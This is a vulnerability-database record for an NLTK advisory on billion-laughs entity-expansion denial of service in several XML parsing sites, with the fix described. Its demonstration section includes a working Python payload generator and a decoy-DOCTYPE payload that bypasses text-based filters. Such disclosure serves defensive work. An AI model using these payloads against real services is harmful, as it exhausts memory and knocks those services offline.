{"id":"CVE-2026-78681","aliases":["GHSA-97qj-x29f-37w7","PYSEC-2026-3748"],"title":"NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses","summary":"NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses","severity":"high","vendor":"nltk","product":"nltk","ecosystem":"pip","affected":["nltk < 3.10.3"],"patched":["nltk 3.10.3"],"published":"2026-09-08","updated":"2026-09-08","sourceUpdated":"2026-09-08T16:45:04.193148017Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-97qj-x29f-37w7","references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78681"},{"url":"https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b"},{"url":"https://github.com/nltk/nltk"},{"url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml"},{"url":"https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree"},{"url":"https://github.com/advisories/GHSA-97qj-x29f-37w7"}],"tags":["osv","pip","ghsa"],"epss":0.00294,"epssPercentile":0.22235,"cwe":["CWE-776"],"ingestedAt":"2026-09-02T19:31:25.007Z","slug":"CVE-2026-78681","body":"## Overview\n\nSeveral XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `<!ENTITY>` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (<= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML\n- `nltk.internals.ElementWrapper` — converts any given string to an Element\n- `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f'<!ENTITY e{i} \"{(\"&e%d;\"%(i-1))*10}\">' for i in range(1, levels+1))\n    return f'<!DOCTYPE d [<!ENTITY e0 \"AAAAAAAAAA\">{d}]><d>&e{levels};</d>'\nET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n>>> from nltk.internals import ElementWrapper\n>>> ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name='e0', ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `<!DOCTYPE>` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a \"PPPP...\">]><d>&a;</d>'\n```\n\n```\nraw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)\nnltk.xmlsec     -> REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).\n\n## Affected packages\n\n- `nltk < 3.10.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `nltk 3.10.3`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[{"seq":8218,"id":"CVE-2026-78681","ts":1788919993268,"field":"severity","old":"none","new":"high"},{"seq":8027,"id":"CVE-2026-78681","ts":1788919280615,"field":"severity","old":"high","new":"none"},{"seq":7836,"id":"CVE-2026-78681","ts":1788916353774,"field":"severity","old":"none","new":"high"},{"seq":7645,"id":"CVE-2026-78681","ts":1788915297319,"field":"severity","old":"high","new":"none"},{"seq":7454,"id":"CVE-2026-78681","ts":1788912713354,"field":"severity","old":"none","new":"high"},{"seq":7263,"id":"CVE-2026-78681","ts":1788911331251,"field":"severity","old":"high","new":"none"},{"seq":7067,"id":"CVE-2026-78681","ts":1788909076595,"field":"severity","old":"none","new":"high"},{"seq":6879,"id":"CVE-2026-78681","ts":1788907391363,"field":"severity","old":"high","new":"none"},{"seq":6681,"id":"CVE-2026-78681","ts":1788905442925,"field":"severity","old":"none","new":"high"},{"seq":6499,"id":"CVE-2026-78681","ts":1788903459574,"field":"severity","old":"high","new":"none"},{"seq":6289,"id":"CVE-2026-78681","ts":1788901809897,"field":"severity","old":"none","new":"high"},{"seq":6119,"id":"CVE-2026-78681","ts":1788899562021,"field":"severity","old":"high","new":"none"},{"seq":5922,"id":"CVE-2026-78681","ts":1788898179170,"field":"severity","old":"none","new":"high"},{"seq":5811,"id":"CVE-2026-78681","ts":1788895711053,"field":"severity","old":"high","new":"none"},{"seq":5677,"id":"CVE-2026-78681","ts":1788894533605,"field":"severity","old":"none","new":"high"},{"seq":5635,"id":"CVE-2026-78681","ts":1788891871362,"field":"severity","old":"high","new":"none"},{"seq":5568,"id":"CVE-2026-78681","ts":1788888673053,"field":"severity","old":"none","new":"high"},{"seq":5559,"id":"CVE-2026-78681","ts":1788888071529,"field":"severity","old":"high","new":"none"},{"seq":5477,"id":"CVE-2026-78681","ts":1788887288560,"field":"severity","old":"none","new":"high"}]}